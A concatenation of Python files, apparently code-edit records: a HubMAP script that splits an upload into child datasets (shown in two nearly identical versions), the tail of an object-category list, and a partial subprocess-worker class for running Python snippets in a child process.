['wristband'], 'def': 'band consisting of a part of a sleeve that covers the wrist', 'id': 859, 'synset': 'wristband.n.01', 'name': 'wristband', 'frequency': 'f'}, {'synonyms': ['wristlet', 'wrist_band'], 'def': 'a band or bracelet worn around the wrist', 'id': 860, 'synset': 'wristlet.n.01', 'name': 'wristlet', 'frequency': 'f'}, {'synonyms': ['yacht'], 'def': 'an expensive vessel propelled by sail or power and used for cruising or racing', 'id': 861, 'synset': 'yacht.n.01', 'name': 'yacht', 'frequency': 'c'}, {'synonyms': ['yogurt', 'yoghurt', 'yoghourt'], 'def': 'a custard-like food made from curdled milk', 'id': 862, 'synset': 'yogurt.n.01', 'name': 'yogurt', 'frequency': 'c'}, {'synonyms': ['yoke_(animal_equipment)'], 'def': 'gear joining two animals at the neck; NOT egg yolk', 'id': 863, 'synset': 'yoke.n.07', 'name': 'yoke_(animal_equipment)', 'frequency': 'c'}, {'synonyms': ['zebra'], 'def': 'any of several fleet black-and-white striped African equines', 'id': 864, 'synset': 'zebra.n.01', 'name': 'zebra', 'frequency': 'f'}, {'synonyms': ['zucchini', 'courgette'], 'def': 'small cucumber-shaped vegetable marrow; typically dark green', 'id': 865, 'synset': 'zucchini.n.02', 'name': 'zucchini', 'frequency': 'c'}, {'synonyms': 'rare', 'def': 'rare', 'id': 866, 'synset': 'zucchini.n.01', 'name': 'rare', 'frequency': 'r'}] # noqa
# fmt: on
|
#! /usr/bin/env python
import sys
import argparse
import re
from pprint import pprint
from datetime import date
from pathlib import Path
from shutil import copytree, copy2
from typing import TypeVar, List
import pandas as pd
import numpy as np
import time
import json
from hubmap_commons.globus_groups import get_globus_groups_info
from survey import (Entity, Dataset, Sample, EntityFactory, Upload,
ROW_SORT_KEYS, column_sorter, is_uuid,
parse_text_list, ENDPOINTS)
FROZEN_DF_FNAME = 'frozen_source_df.tsv'
FAKE_UUID_GENERATOR = None
SCRATCH_PATH = '/tmp/split_and_create'
StrOrListStr = TypeVar('StrOrListStr', str, List[str])
#
# The following are used to try to deal with bad assay type information in the original
# upload or the metadata.tsv file, and with new assay types which have not yet been
# deployed to PROD.
#
FALLBACK_ASSAY_TYPE_TRANSLATIONS = {
#'SNARE-Seq2-AC': 'SNARE-ATACseq2',
'SNARE-Seq2-AC': 'SNAREseq',
#'SNARE2-RNAseq': 'SNARE-RNAseq2',
'SNARE2-RNAseq': 'sciRNAseq',
'scRNAseq-10xGenomics-v2': 'scRNA-Seq-10x',
}
#
# Some cases need specialized transformations. For example, when an input upload
# is validated with an earlier version of the validation tests, but will fail if
# re-validated with the current version. These transformations can be used to
# bring the metadata into compliance with the current validation rules on the fly.
#
def remove_na(row: pd.Series, parent_assay_type: StrOrListStr) -> pd.Series:
new_row = row.copy()
key = 'transposition_kit_number'
if key in row and row[key].lower() == 'na':
new_row[key] = ''
return new_row
SEQ_RD_FMT_TEST_RX = re.compile(r'\d+\+\d+\+\d+\+\d+')
def reformat_seq_read(row: pd.Series, parent_assay_type: StrOrListStr) -> pd.Series:
new_row = row.copy()
key = 'sequencing_read_format'
if key in row and SEQ_RD_FMT_TEST_RX.match(row[key]):
new_row[key] = row[key].replace('+', '/')
return new_row
def fix_snare_atac_assay_type(row: pd.Series, parent_assay_type: StrOrListStr) -> pd.Series:
new_row = row.copy()
key1 = 'assay_type'
key2 = 'canonical_assay_type'
if (key1 in row and key2 in row
and row[key1] == 'SNARE-seq2' and row[key2] == 'SNAREseq'):
new_row[key2] = 'SNARE-seq2'
return new_row
SPECIAL_CASE_TRANSFORMATIONS = [
(re.compile('SNAREseq'), [remove_na, reformat_seq_read, fix_snare_atac_assay_type])
]
def create_fake_uuid_generator():
"""This is used to simulate unique uuids for dryrun executions"""
count = 0
while True:
rslt = 'fakeuuid_%08x'%count
count += 1
yield rslt
def get_canonical_assay_type(row, entity_factory, default_type):
try:
rslt = entity_factory.type_client.getAssayType(row['assay_type']).name
except:
print(f"fallback {row["assay_type"]} {default_type}")
rslt = FALLBACK_ASSAY_TYPE_TRANSLATIONS.get(row['assay_type'], default_type)
print(f"{row["assay_type"]} -> {rslt}")
return rslt
def create_new_uuid(row, source_entity, entity_factory, dryrun=False):
global FAKE_UUID_GENERATOR
canonical_assay_type = row['canonical_assay_type']
orig_assay_type = row['assay_type']
rec_identifier = row['data_path'].strip('/')
assert rec_identifier and rec_identifier != '.', 'Bad data_path!'
info_txt_key = None
if isinstance(source_entity, Dataset):
assert 'lab_dataset_id' in source_entity.prop_dct, (f'Dataset {uuid}'
' has no lab_dataset_id')
info_txt_key = 'lab_dataset_id'
elif isinstance(source_entity, Upload):
assert 'title' in source_entity.prop_dct, (f'Upload {uuid}'
' has no lab_dataset_id')
info_txt_key = 'title'
assert info_txt_key is not None, 'Expected a Dataset or an Upload'
info_txt_root = source_entity.prop_dct[info_txt_key]
assert info_txt_root, f'{uuid} field {info_txt_key} is empty'
info_txt = info_txt_root + ' : ' + rec_identifier
try:
type_info = entity_factory.type_client.getAssayType(canonical_assay_type)
except:
print(f'tried {orig_assay_type}, canoncal version {canonical_assay_type}')
print(f'options are {[elt for elt in entity_factory.type_client.iterAssayNames()]}')
type_info = entity_factory.type_client.getAssayType(orig_assay_type)
contains_human_genetic_sequences = type_info.contains_pii
# Check consistency in case this is a Dataset, which will have this info
if 'contains_human_genetic_sequences' in source_entity.prop_dct:
assert (contains_human_genetic_sequences
== source_entity.prop_dct['contains_human_genetic_sequences'])
group_uuid = source_entity.prop_dct['group_uuid']
if 'description' in source_entity.prop_dct:
description = source_entity.prop_dct['description'] + ' : ' + rec_identifier
else:
description = source_entity.prop_dct['lab_dataset_id'] + ' : ' + rec_identifier
sample_id = row['tissue_id']
print(f"tissue_id is {sample_id}")
sample_uuid = entity_factory.id_to_uuid(sample_id)
print(f"tissue uuid is {sample_uuid}")
direct_ancestor_uuids = [sample_uuid]
if dryrun:
if FAKE_UUID_GENERATOR is None:
FAKE_UUID_GENERATOR = create_fake_uuid_generator()
uuid = FAKE_UUID_GENERATOR.__next__()
print(f'Not creating uuid {uuid} with assay_type {canonical_assay_type}')
return uuid
else:
rslt = entity_factory.create_dataset(
provider_info=info_txt,
contains_human_genetic_sequences=contains_human_genetic_sequences,
assay_type=canonical_assay_type,
direct_ancestor_uuids=direct_ancestor_uuids,
group_uuid=group_uuid,
description=description
)
return rslt['uuid']
def populate(idx, row, source_df, source_entity, entity_factory, dryrun=False):
uuid = row['new_uuid']
old_data_path = row['data_path']
row['data_path'] = '.'
old_contrib_path = Path(row['contributors_path'])
new_contrib_path = Path('extras') / old_contrib_path.name
row['contributors_path'] = str(new_contrib_path)
if 'antibodies_path' in row:
old_antibodies_path = Path(row['antibodies_path'])
new_antibodies_path = Path('extras') / old_antibodies_path.name
row['antibodies_path'] = str(new_antibodies_path)
else:
old_antibodies_path = new_antibodies_path = None
row['assay_type'] = row['canonical_assay_type']
row_df = pd.DataFrame([row])
row_df = row_df.drop(columns=['canonical_assay_type', 'new_uuid'])
if dryrun:
kid_path = Path(SCRATCH_PATH) / uuid
kid_path.mkdir(0o770, parents=True, exist_ok=True)
print(f'writing this metadata to {kid_path}:')
print(row_df)
else:
kid_path = Path(entity_factory.get_full_path(uuid))
row_df.to_csv(kid_path / f'{uuid}-metadata.tsv', header=True, sep='\t', index=False)
extras_path = kid_path / 'extras'
if extras_path.exists():
assert extras_path.is_dir(), f'{extras_path} is not a directory'
else:
source_extras_path = source_entity.full_path / 'extras'
if source_extras_path.exists():
if dryrun:
print(f'copy {source_extras_path} to {extras_path}')
else:
copytree(source_extras_path, extras_path)
else:
if dryrun:
print(f'creating {extras_path}')
extras_path.mkdir(0o770)
source_data_path = source_entity.full_path / old_data_path
for elt in source_data_path.glob('*'):
if dryrun:
print(f'rename {elt} to {kid_path / elt.name}')
else:
elt.rename(kid_path / elt.name)
if dryrun:
print(f'copy {old_contrib_path} to {extras_path}')
else:
copy2(source_entity.full_path / old_contrib_path, extras_path)
if old_antibodies_path is not None:
if dryrun:
print(f'copy {old_antibodies_path} to {extras_path}')
else:
copy2(source_entity.full_path / old_antibodies_path, extras_path)
print(f"{old_data_path} -> {uuid} -> full path: {kid_path}")
def apply_special_case_transformations(df: pd.DataFrame, parent_assay_type: StrOrListStr) -> pd.DataFrame:
"""
Sometimes special case transformations must be applied, for example because the
valisation rules have changed since the upload was originally validated.
"""
for regex, fun_lst in SPECIAL_CASE_TRANSFORMATIONS:
if regex.match(str(parent_assay_type)):
for fun in fun_lst:
df = df.apply(fun, axis=1, parent_assay_type=parent_assay_type)
return df
def submit_uuid(uuid, entity_factory, dryrun=False):
if dryrun:
print(f'Not submitting uuid {uuid}.')
return uuid
else:
uuid_entity_to_submit = entity_factory.get(uuid)
rslt = entity_factory.submit_dataset(
uuid=uuid,
contains_human_genetic_sequences=uuid_entity_to_submit.contains_human_genetic_sequences
)
return rslt
def main():
"""
main
"""
parser = argparse.ArgumentParser()
parser.add_argument("uuid",
help="input .txt file containing uuids or .csv or .tsv file with uuid column")
parser.add_argument("--stop", help=f"stop after creating child uuids and writing {FROZEN_DF_FNAME}",
action="store_true", )
parser.add_argument("--unstop", help=f"do not create child uuids; read {FROZEN_DF_FNAME} and continue",
action="store_true")
parser.add_argument("--instance",
help=f"instance to use. One of {[k for k in ENDPOINTS.keys()]} (default %(default)s)",
default = 'PROD')
parser.add_argument("--dryrun", help="describe the steps that would be taken but do not make changes",
action="store_true")
parser.add_argument("--ingest", help="automatically ingest the generated datasets", action="store_true")
args = parser.parse_args()
if args.stop and args.unstop:
parser.error("--stop and --unstop are mutually exclusive")
if len(args.uuid) == 32:
try:
int(args.uuid, base=16)
except ValueError:
parser.error(f"{args.uuid} doesn't look like a uuid")
else:
parser.error(f"{args.uuid} is the wrong length to be a uuid")
if args.instance not in ENDPOINTS.keys():
parser.error(f"{args.instance} is not a known instance")
source_uuid = args.uuid
instance = args.instance
dryrun = args.dryrun
ingest = args.ingest
if args.stop:
mode = 'stop'
elif args.unstop:
mode = 'unstop'
else:
mode = 'all'
print(
"""
WARNING: this program's default behavior creates new datasets and moves
files around on PROD. Be very sure you know what it does before you run it!
"""
)
auth_tok = input('auth_tok: ')
entity_factory = EntityFactory(auth_tok, instance=instance)
print(f'Decomposing {source_uuid}')
source_entity = entity_factory.get(source_uuid)
if mode in ['all', 'stop']:
source_metadata_files = [elt for elt in source_entity.full_path.glob('*metadata.tsv')]
assert len(source_metadata_files) == 1, f'Too many metadata files in {source_entity.full_path}'
source_df = pd.read_csv(source_metadata_files[0], sep='\t')
if hasattr(source_entity, 'data_types'):
assert isinstance(source_entity.data_types, str)
source_data_types = source_entity.data_types
else:
source_data_types = None
source_df['canonical_assay_type'] = source_df.apply(get_canonical_assay_type,
axis=1,
entity_factory=entity_factory,
default_type=source_data_types)
source_df['new_uuid'] = source_df.apply(create_new_uuid, axis=1,
source_entity=source_entity,
entity_factory=entity_factory,
dryrun=dryrun)
source_df = apply_special_case_transformations(source_df, source_data_types)
print(source_df[['data_path', 'canonical_assay_type', 'new_uuid']])
source_df.to_csv(FROZEN_DF_FNAME, sep='\t', header=True, index=False)
print(f'wrote {FROZEN_DF_FNAME}')
if mode == 'stop':
sys.exit('done')
if mode == 'unstop':
source_df = pd.read_csv(FROZEN_DF_FNAME, sep='\t')
print(f'read {FROZEN_DF_FNAME}')
dag_config = {'uuid_list': [], 'collection_type': ''}
if mode in ['all', 'unstop']:
for idx, row in source_df.iterrows():
dag_config['uuid_list'].append(row['new_uuid'])
populate(idx, row, source_df, source_entity, entity_factory, dryrun=dryrun)
if ingest:
print('Beginning ingestion')
for uuid in dag_config['uuid_list']:
submit_uuid(uuid, entity_factory, dryrun)
if not dryrun:
while entity_factory.get(uuid).status not in ['QA', 'Invalid', 'Error']:
time.sleep(30)
print(json.dumps(dag_config))
if __name__ == '__main__':
main()
| #! /usr/bin/env python
import sys
import argparse
import re
from pprint import pprint
from datetime import date
from pathlib import Path
from shutil import copytree, copy2
from typing import TypeVar, List
import pandas as pd
import numpy as np
import time
import json
from hubmap_commons.globus_groups import get_globus_groups_info
from survey import (Entity, Dataset, Sample, EntityFactory, Upload,
ROW_SORT_KEYS, column_sorter, is_uuid,
parse_text_list, ENDPOINTS)
FROZEN_DF_FNAME = 'frozen_source_df.tsv'
FAKE_UUID_GENERATOR = None
SCRATCH_PATH = '/tmp/split_and_create'
StrOrListStr = TypeVar('StrOrListStr', str, List[str])
#
# The following are used to try to deal with bad assay type information in the original
# upload or the metadata.tsv file, and with new assay types which have not yet been
# deployed to PROD.
#
FALLBACK_ASSAY_TYPE_TRANSLATIONS = {
#'SNARE-Seq2-AC': 'SNARE-ATACseq2',
'SNARE-Seq2-AC': 'SNAREseq',
#'SNARE2-RNAseq': 'SNARE-RNAseq2',
'SNARE2-RNAseq': 'sciRNAseq',
'scRNAseq-10xGenomics-v2': 'scRNA-Seq-10x',
}
#
# Some cases need specialized transformations. For example, when an input upload
# is validated with an earlier version of the validation tests, but will fail if
# re-validated with the current version. These transformations can be used to
# bring the metadata into compliance with the current validation rules on the fly.
#
def remove_na(row: pd.Series, parent_assay_type: StrOrListStr) -> pd.Series:
new_row = row.copy()
key = 'transposition_kit_number'
if key in row and row[key].lower() == 'na':
new_row[key] = ''
return new_row
SEQ_RD_FMT_TEST_RX = re.compile(r'\d+\+\d+\+\d+\+\d+')
def reformat_seq_read(row: pd.Series, parent_assay_type: StrOrListStr) -> pd.Series:
new_row = row.copy()
key = 'sequencing_read_format'
if key in row and SEQ_RD_FMT_TEST_RX.match(row[key]):
new_row[key] = row[key].replace('+', '/')
return new_row
def fix_snare_atac_assay_type(row: pd.Series, parent_assay_type: StrOrListStr) -> pd.Series:
new_row = row.copy()
key1 = 'assay_type'
key2 = 'canonical_assay_type'
if (key1 in row and key2 in row
and row[key1] == 'SNARE-seq2' and row[key2] == 'SNAREseq'):
new_row[key2] = 'SNARE-seq2'
return new_row
SPECIAL_CASE_TRANSFORMATIONS = [
(re.compile('SNAREseq'), [remove_na, reformat_seq_read, fix_snare_atac_assay_type])
]
def create_fake_uuid_generator():
"""This is used to simulate unique uuids for dryrun executions"""
count = 0
while True:
rslt = 'fakeuuid_%08x'%count
count += 1
yield rslt
def get_canonical_assay_type(row, entity_factory, default_type):
try:
rslt = entity_factory.type_client.getAssayType(row['assay_type']).name
except:
print(f"fallback {row['assay_type']} {default_type}")
rslt = FALLBACK_ASSAY_TYPE_TRANSLATIONS.get(row['assay_type'], default_type)
print(f"{row['assay_type']} -> {rslt}")
return rslt
def create_new_uuid(row, source_entity, entity_factory, dryrun=False):
global FAKE_UUID_GENERATOR
canonical_assay_type = row['canonical_assay_type']
orig_assay_type = row['assay_type']
rec_identifier = row['data_path'].strip('/')
assert rec_identifier and rec_identifier != '.', 'Bad data_path!'
info_txt_key = None
if isinstance(source_entity, Dataset):
assert 'lab_dataset_id' in source_entity.prop_dct, (f'Dataset {uuid}'
' has no lab_dataset_id')
info_txt_key = 'lab_dataset_id'
elif isinstance(source_entity, Upload):
assert 'title' in source_entity.prop_dct, (f'Upload {uuid}'
' has no lab_dataset_id')
info_txt_key = 'title'
assert info_txt_key is not None, 'Expected a Dataset or an Upload'
info_txt_root = source_entity.prop_dct[info_txt_key]
assert info_txt_root, f'{uuid} field {info_txt_key} is empty'
info_txt = info_txt_root + ' : ' + rec_identifier
try:
type_info = entity_factory.type_client.getAssayType(canonical_assay_type)
except:
print(f'tried {orig_assay_type}, canoncal version {canonical_assay_type}')
print(f'options are {[elt for elt in entity_factory.type_client.iterAssayNames()]}')
type_info = entity_factory.type_client.getAssayType(orig_assay_type)
contains_human_genetic_sequences = type_info.contains_pii
# Check consistency in case this is a Dataset, which will have this info
if 'contains_human_genetic_sequences' in source_entity.prop_dct:
assert (contains_human_genetic_sequences
== source_entity.prop_dct['contains_human_genetic_sequences'])
group_uuid = source_entity.prop_dct['group_uuid']
if 'description' in source_entity.prop_dct:
description = source_entity.prop_dct['description'] + ' : ' + rec_identifier
else:
description = source_entity.prop_dct['lab_dataset_id'] + ' : ' + rec_identifier
sample_id = row['tissue_id']
print(f"tissue_id is {sample_id}")
sample_uuid = entity_factory.id_to_uuid(sample_id)
print(f"tissue uuid is {sample_uuid}")
direct_ancestor_uuids = [sample_uuid]
if dryrun:
if FAKE_UUID_GENERATOR is None:
FAKE_UUID_GENERATOR = create_fake_uuid_generator()
uuid = FAKE_UUID_GENERATOR.__next__()
print(f'Not creating uuid {uuid} with assay_type {canonical_assay_type}')
return uuid
else:
rslt = entity_factory.create_dataset(
provider_info=info_txt,
contains_human_genetic_sequences=contains_human_genetic_sequences,
assay_type=canonical_assay_type,
direct_ancestor_uuids=direct_ancestor_uuids,
group_uuid=group_uuid,
description=description
)
return rslt['uuid']
def populate(idx, row, source_df, source_entity, entity_factory, dryrun=False):
uuid = row['new_uuid']
old_data_path = row['data_path']
row['data_path'] = '.'
old_contrib_path = Path(row['contributors_path'])
new_contrib_path = Path('extras') / old_contrib_path.name
row['contributors_path'] = str(new_contrib_path)
if 'antibodies_path' in row:
old_antibodies_path = Path(row['antibodies_path'])
new_antibodies_path = Path('extras') / old_antibodies_path.name
row['antibodies_path'] = str(new_antibodies_path)
else:
old_antibodies_path = new_antibodies_path = None
row['assay_type'] = row['canonical_assay_type']
row_df = pd.DataFrame([row])
row_df = row_df.drop(columns=['canonical_assay_type', 'new_uuid'])
if dryrun:
kid_path = Path(SCRATCH_PATH) / uuid
kid_path.mkdir(0o770, parents=True, exist_ok=True)
print(f'writing this metadata to {kid_path}:')
print(row_df)
else:
kid_path = Path(entity_factory.get_full_path(uuid))
row_df.to_csv(kid_path / f'{uuid}-metadata.tsv', header=True, sep='\t', index=False)
extras_path = kid_path / 'extras'
if extras_path.exists():
assert extras_path.is_dir(), f'{extras_path} is not a directory'
else:
source_extras_path = source_entity.full_path / 'extras'
if source_extras_path.exists():
if dryrun:
print(f'copy {source_extras_path} to {extras_path}')
else:
copytree(source_extras_path, extras_path)
else:
if dryrun:
print(f'creating {extras_path}')
extras_path.mkdir(0o770)
source_data_path = source_entity.full_path / old_data_path
for elt in source_data_path.glob('*'):
if dryrun:
print(f'rename {elt} to {kid_path / elt.name}')
else:
elt.rename(kid_path / elt.name)
if dryrun:
print(f'copy {old_contrib_path} to {extras_path}')
else:
copy2(source_entity.full_path / old_contrib_path, extras_path)
if old_antibodies_path is not None:
if dryrun:
print(f'copy {old_antibodies_path} to {extras_path}')
else:
copy2(source_entity.full_path / old_antibodies_path, extras_path)
print(f"{old_data_path} -> {uuid} -> full path: {kid_path}")
def apply_special_case_transformations(df: pd.DataFrame, parent_assay_type: StrOrListStr) -> pd.DataFrame:
"""
Sometimes special case transformations must be applied, for example because the
valisation rules have changed since the upload was originally validated.
"""
for regex, fun_lst in SPECIAL_CASE_TRANSFORMATIONS:
if regex.match(str(parent_assay_type)):
for fun in fun_lst:
df = df.apply(fun, axis=1, parent_assay_type=parent_assay_type)
return df
def submit_uuid(uuid, entity_factory, dryrun=False):
if dryrun:
print(f'Not submitting uuid {uuid}.')
return uuid
else:
uuid_entity_to_submit = entity_factory.get(uuid)
rslt = entity_factory.submit_dataset(
uuid=uuid,
contains_human_genetic_sequences=uuid_entity_to_submit.contains_human_genetic_sequences
)
return rslt
def main():
"""
main
"""
parser = argparse.ArgumentParser()
parser.add_argument("uuid",
help="input .txt file containing uuids or .csv or .tsv file with uuid column")
parser.add_argument("--stop", help=f"stop after creating child uuids and writing {FROZEN_DF_FNAME}",
action="store_true", )
parser.add_argument("--unstop", help=f"do not create child uuids; read {FROZEN_DF_FNAME} and continue",
action="store_true")
parser.add_argument("--instance",
help=f"instance to use. One of {[k for k in ENDPOINTS.keys()]} (default %(default)s)",
default = 'PROD')
parser.add_argument("--dryrun", help="describe the steps that would be taken but do not make changes",
action="store_true")
parser.add_argument("--ingest", help="automatically ingest the generated datasets", action="store_true")
args = parser.parse_args()
if args.stop and args.unstop:
parser.error("--stop and --unstop are mutually exclusive")
if len(args.uuid) == 32:
try:
int(args.uuid, base=16)
except ValueError:
parser.error(f"{args.uuid} doesn't look like a uuid")
else:
parser.error(f"{args.uuid} is the wrong length to be a uuid")
if args.instance not in ENDPOINTS.keys():
parser.error(f"{args.instance} is not a known instance")
source_uuid = args.uuid
instance = args.instance
dryrun = args.dryrun
ingest = args.ingest
if args.stop:
mode = 'stop'
elif args.unstop:
mode = 'unstop'
else:
mode = 'all'
print(
"""
WARNING: this program's default behavior creates new datasets and moves
files around on PROD. Be very sure you know what it does before you run it!
"""
)
auth_tok = input('auth_tok: ')
entity_factory = EntityFactory(auth_tok, instance=instance)
print(f'Decomposing {source_uuid}')
source_entity = entity_factory.get(source_uuid)
if mode in ['all', 'stop']:
source_metadata_files = [elt for elt in source_entity.full_path.glob('*metadata.tsv')]
assert len(source_metadata_files) == 1, f'Too many metadata files in {source_entity.full_path}'
source_df = pd.read_csv(source_metadata_files[0], sep='\t')
if hasattr(source_entity, 'data_types'):
assert isinstance(source_entity.data_types, str)
source_data_types = source_entity.data_types
else:
source_data_types = None
source_df['canonical_assay_type'] = source_df.apply(get_canonical_assay_type,
axis=1,
entity_factory=entity_factory,
default_type=source_data_types)
source_df['new_uuid'] = source_df.apply(create_new_uuid, axis=1,
source_entity=source_entity,
entity_factory=entity_factory,
dryrun=dryrun)
source_df = apply_special_case_transformations(source_df, source_data_types)
print(source_df[['data_path', 'canonical_assay_type', 'new_uuid']])
source_df.to_csv(FROZEN_DF_FNAME, sep='\t', header=True, index=False)
print(f'wrote {FROZEN_DF_FNAME}')
if mode == 'stop':
sys.exit('done')
if mode == 'unstop':
source_df = pd.read_csv(FROZEN_DF_FNAME, sep='\t')
print(f'read {FROZEN_DF_FNAME}')
dag_config = {'uuid_list': [], 'collection_type': ''}
if mode in ['all', 'unstop']:
for idx, row in source_df.iterrows():
dag_config['uuid_list'].append(row['new_uuid'])
populate(idx, row, source_df, source_entity, entity_factory, dryrun=dryrun)
if ingest:
print('Beginning ingestion')
for uuid in dag_config['uuid_list']:
submit_uuid(uuid, entity_factory, dryrun)
if not dryrun:
while entity_factory.get(uuid).status not in ['QA', 'Invalid', 'Error']:
time.sleep(30)
print(json.dumps(dag_config))
if __name__ == '__main__':
main()
|
import contextlib
import datetime
import io
import os
import marshal
import pathlib
import shutil
import signal
import subprocess
import sys
import tempfile
import textwrap
import time
import typing
import components
from components._impl.workers import base
from components._impl.workers import subprocess_rpc
class SubprocessWorker(base.WorkerBase):
"""Open a subprocess using `python -i`, and use it to execute code.
This class wraps a subprocess which runs a clean instance of Python.
This enables hermetic execution of stateful code, GIL free concurrent
benchmarking, and easy use of command line tools from Python.
When using SubprocessWorker, it is important to remember that while the
environment is (or at least tries to be) identical to the parent, it does
not share state or initialization with the parent process. Imports must be
re-run in the worker, and shared resources (such as file descriptors) will
not be available. For most applications this mirrors the semantics of
`timeit.Timer`.
The principle extension point for SubprocessWorker is the `args`
property. By overriding it, subclasses can change the nature of the
underlying subprocess while reusing all of the generic communication and
fault handling facilities of the base class. For example, suppose we want
to use TaskSet to pin the worker to a single core. The code is simply:
```
class TasksetZeroWorker(SubprocessWorker):
@property
def args(self) -> typing.List[str]:
return ["taskset", "--cpu-list", "0"] + super().args
```
"""
_working_dir: str
_alive: bool = False
_bootstrap_timeout: int = 10 # seconds
def __init__(self, timeout: typing.Optional[float] = None) -> None:
super().__init__()
# Log inputs and outputs for debugging.
self._command_log = os.path.join(self.working_dir, "commands.log")
pathlib.Path(self._command_log).touch()
self._stdout_f: io.FileIO = io.FileIO(
os.path.join(self.working_dir, "stdout.txt"), mode="w",
)
self._stderr_f: io.FileIO = io.FileIO(
os.path.join(self.working_dir, "stderr.txt"), mode="w",
)
# `self._run` has strong assumptions about how `_input_pipe` and
# `_output_pipe` are used. They should not be accessed in any other
# context. (The same is true for `self.load` and `_load_pipe`.)
self._input_pipe = subprocess_rpc.Pipe()
self._output_pipe = subprocess_rpc.Pipe(
timeout=timeout,
timeout_callback=self._kill_proc,
)
self._load_pipe = subprocess_rpc.Pipe(
timeout=timeout,
timeout_callback=self._kill_proc,
)
# Windows and Unix differ in how pipes are shared with children.
# In Unix they are inherited, while in Windows the child consults the
# OS to get access. Most of this complexity is handled by
# `subprocess_rpc.Pipe`, however we also have to make sure Popen
# exposes the pipes in a platform appropriate way.
child_fds = [
self._input_pipe.read_fd,
self._output_pipe.write_fd,
self._load_pipe.write_fd,
]
if subprocess_rpc.IS_WINDOWS:
for fd in child_fds:
os.set_inheritable(fd, True)
startupinfo = subprocess.STARTUPINFO()
startupinfo.lpAttributeList["handle_list"].extend(
[subprocess_rpc.to_handle(fd) for fd in child_fds])
popen_kwargs = {
"startupinfo": startupinfo,
}
else:
popen_kwargs = {
"close_fds": True,
"pass_fds": child_fds,
}
self._proc = subprocess.Popen(
args=self.args,
stdin=subprocess.PIPE,
stdout=self._stdout_f,
stderr=self._stderr_f,
encoding=subprocess_rpc.ENCODING,
bufsize=1,
cwd=os.getcwd(),
**popen_kwargs,
)
# setup the pid of child process in the output pipe
self._output_pipe.set_writer_pid(self._proc.pid)
self._worker_bootstrap_finished: bool = False
self._bootstrap_worker()
self._alive = True
@property
def working_dir(self) -> str:
# A subclass might need to access `self.working_dir` before calling
# `super().__init__` in order to properly construct `args`, so we need
# to lazily initialize it.
if getattr(self, "_working_dir", None) is None:
self._working_dir = tempfile.mkdtemp()
return self._working_dir
@property
def args(self) -> typing.List[str]:
return [sys.executable, "-i", "-u"]
def run(self, snippet: str) -> None:
self._run(snippet)
def store(self, name: str, value: typing.Any, in_memory: bool = False) -> None:
if in_memory:
raise NotImplementedError("SubprocessWorker does not support `in_memory`")
# NB: we convert the bytes to a hex string to avoid encoding issues.
self._run(f"""
{name} = {subprocess_rpc.WORKER_IMPL_NAMESPACE}["marshal"].loads(
bytes.fromhex({repr(marshal.dumps(value).hex())})
)
""")
def load(self, name: str) -> typing.Any:
self._run(f"""
{subprocess_rpc.WORKER_IMPL_NAMESPACE}["load_pipe"].write(
{subprocess_rpc.WORKER_IMPL_NAMESPACE}["marshal"].dumps({name})
)
""")
return marshal.loads(self._load_pipe.read())
@property
def in_process(self) -> bool:
return False
@property
def alive(self) -> bool:
return self._alive and self._proc.poll() is None
def _bootstrap_worker(self) -> None:
"""Import subprocess_rpc in the worker, and start the work loop.
Commands are executed by writing to `self._input_pipe`, and waiting for
a response on `self._output_pipe`. This presumes, however, that there
is a worker doing the opposite: listening to the input pipe and writing
to the output pipe. At startup `self._proc` is a simple interactive
Python process, so we have to bootstrap it to start the work loop or
else `self._run` will hang waiting for jobs to be processed.
"""
# NB: This gets sent directly to `self._proc`'s stdin, so it MUST be
# a single expression and may NOT contain any empty lines. (Due to
# how Python processes commands.)
bootstrap_command = textwrap.dedent(f"""
try:
import marshal
import sys
sys_path_old = list(sys.path)
sys.path = marshal.loads(
bytes.fromhex({repr(marshal.dumps(sys.path).hex())})
)
# The parent gets priority, but a subclass could set PYTHONPATH
# so we have to respect extra paths.
sys.path.extend([i for i in sys_path_old if i and i not in sys.path])
from components._impl.workers import subprocess_rpc
output_pipe = subprocess_rpc.Pipe(
write_handle={self._output_pipe.write_handle})
output_pipe.write(subprocess_rpc.BOOTSTRAP_IMPORT_SUCCESS)
subprocess_rpc.run_loop(
input_handle={self._input_pipe.read_handle},
output_pipe=output_pipe,
load_handle={self._load_pipe.write_handle},
)
except:
sys.exit(1)
""").strip()
if self._proc.poll() is not None:
raise ValueError("Process has already exited.")
proc_stdin = self._proc.stdin
assert proc_stdin is not None
self._log_cmd(bootstrap_command)
# We need two newlines for Python to stop waiting for more input.
proc_stdin.write(f"{bootstrap_command}\n\n")
proc_stdin.flush()
with self.watch_stdout_stderr() as get_output:
try:
# Bootstrapping is very fast. (Unlike user code where we have
# no a priori expected upper bound.) If we don't get a response
# prior to the timeout, it is overwhelmingly likely that the
# worker died or the bootstrap failed. (E.g. failed to resolve
# import path.) This simply allows us to raise a good error.
bootstrap_pipe = subprocess_rpc.Pipe(
read_handle=self._output_pipe.read_handle,
write_handle=self._output_pipe.write_handle,
timeout=self._bootstrap_timeout,
)
result = bootstrap_pipe.read()
assert result == subprocess_rpc.BOOTSTRAP_IMPORT_SUCCESS, result
result = bootstrap_pipe.read()
assert result == subprocess_rpc.BOOTSTRAP_INPUT_LOOP_SUCCESS, result
self._worker_bootstrap_finished = True
assert self._proc.poll() is None
except (Exception, KeyboardInterrupt) as e:
stdout, stderr = get_output()
cause = "import failed" if self._proc.poll() else "timeout"
raise e from RuntimeError(
f"Failed to bootstrap worker ({cause}):\n"
f" working_dir: {self.working_dir}\n"
f" stdout:\n{textwrap.indent(stdout, " " * 8)}\n\n"
f" stderr:\n{textwrap.indent(stderr, " " * 8)}"
)
def _log_cmd(self, snippet: str) -> None:
with open(self._command_log, "at", encoding="utf-8") as f:
now = datetime.datetime.now().strftime("[%Y-%m-%d] %H:%M:%S.%f")
f.write(f"# {now}\n{snippet}\n\n")
@contextlib.contextmanager
def watch_stdout_stderr(self):
# Get initial state for stdout and stderr, since we only want to
# capture output since the contextmanager started.
stdout_stat = os.stat(self._stdout_f.name)
stderr_stat = os.stat(self._stderr_f.name)
def get() -> typing.Tuple[str, str]:
with open(self._stdout_f.name, "rb") as f:
_ = f.seek(stdout_stat.st_size)
stdout = f.read().decode("utf-8").strip()
with open(self._stderr_f.name, "rb") as f:
_ = f.seek(stderr_stat.st_size)
stderr = f.read().decode("utf-8").strip()
return stdout, stderr
yield get
def _run(self, snippet: str) -> None:
"""Helper method for running code in a subprocess."""
assert self._worker_bootstrap_finished
assert self.alive, "Process has exited"
snippet = textwrap.dedent(snippet)
with self.watch_stdout_stderr() as get_output:
self._input_pipe.write(snippet.encode(subprocess_rpc.ENCODING))
